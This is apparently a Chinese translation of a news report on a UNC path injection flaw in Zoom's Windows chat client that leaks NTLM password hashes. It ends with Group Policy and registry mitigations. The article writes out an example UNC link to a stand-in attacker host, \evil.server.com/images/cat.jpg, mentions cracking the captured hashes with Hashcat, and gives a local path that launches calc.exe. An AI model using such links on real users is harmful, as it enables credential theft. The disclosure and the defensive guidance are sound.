研究人员发现Zoom windows客户端存在一个UNC路径注入漏洞,该漏洞存在于客户端聊天特征中。攻击者可以利用这个漏洞来获取点击该链接的用户的Windows凭证。Zoom客户端允许会议参与者通过聊天接口发送文本消息与其他参与者进行通信。在发送聊天消息时,URL会被转换为超链接,因此其他参会者点击链接后会在默认浏览器中打开一个web页面。安全研究人员@g0dmode发现Zoom客户端会将聊天消息中的Windows网络UNC路径转换为可点击的链接。
Zoom聊天UNC注入
从上面的聊天消息中可以看到,普通的URL和UNC路径\evil.server.com/images/cat.jpg都会被转换为可点击的链接。那么UNC路径转换为可点击的链接会带来什么不好的影响呢?如果用户点击UNC路径链接,Windows会尝试使用SMB文件共享协议连接到远程站点来打开一个远程文件——cat.jpg。默认情况下,Windows会发送用户的登录用户名和NTLM密码哈希值,通过免费的工具Hashcat就可以破解NTLM密码哈希值对应的密码。安全研究人员Matthew Hickey (@HackerFantastic)测试了Zoom客户端的UNC注入漏洞,并确认可以获取NTLM密码哈希值。BleepingComputer也在本地测试验证了该结果。
获取NTLM密码哈希值
使用像Hashcat这样的程序在我们日常使用的计算机上破解哈希值只需要16秒钟。除了窃取Windows凭证之外,Hickey告诉BleepingComputer,UNC注入还可以在点击链接时启动本地计算机上的程序。例如,点击\127.0.0.1\C$\windows\system32\calc.exe这样的UNC路径就可以启动计算机上安装的计算器。幸运的是,Windows会弹出窗口询问用户是否要执行程序。
Computer Configuration -> Windows Settings -> Security Settings -> Local Policies -> Security Options -> Network security: Restrict NTLM: Outgoing NTLM traffic to remote servers
点击UNC路径启动本地程序
为了修复这个漏洞,Zoom需要避免聊天系统将UNC路径转换为可点击的超链接。Hickey在Twitter上公开漏洞后通知了Zoom,但BleepingComputer连续联系了Zoom却未收到回复。在Zoom发布补丁之前,有一种方法可以预防这个漏洞,那就是通过组策略设置来阻止UNC链接被点击后自动发送NTLM凭证给远程服务器。该策略为’Network security: Restrict NTLM: Outgoing NTLM traffic to remote servers’。在组策略编辑器中的路径为:
[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsaMSV1_0] "RestrictSendingNTLMTraffic"=dword:00000002
如果将策略配置为Deny all,Windows将不会自动发送NTLM凭证到远程服务器。
由于该策略是在加入域的计算机上配置的,因此在尝试访问共享内容时可能会引发一些问题。如果不再需要该策略,可以在Windows注册表中配置,将RestrictSendingNTLMTraffic注册表HKEYLOCALMACHINE\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0 key设置为2即可: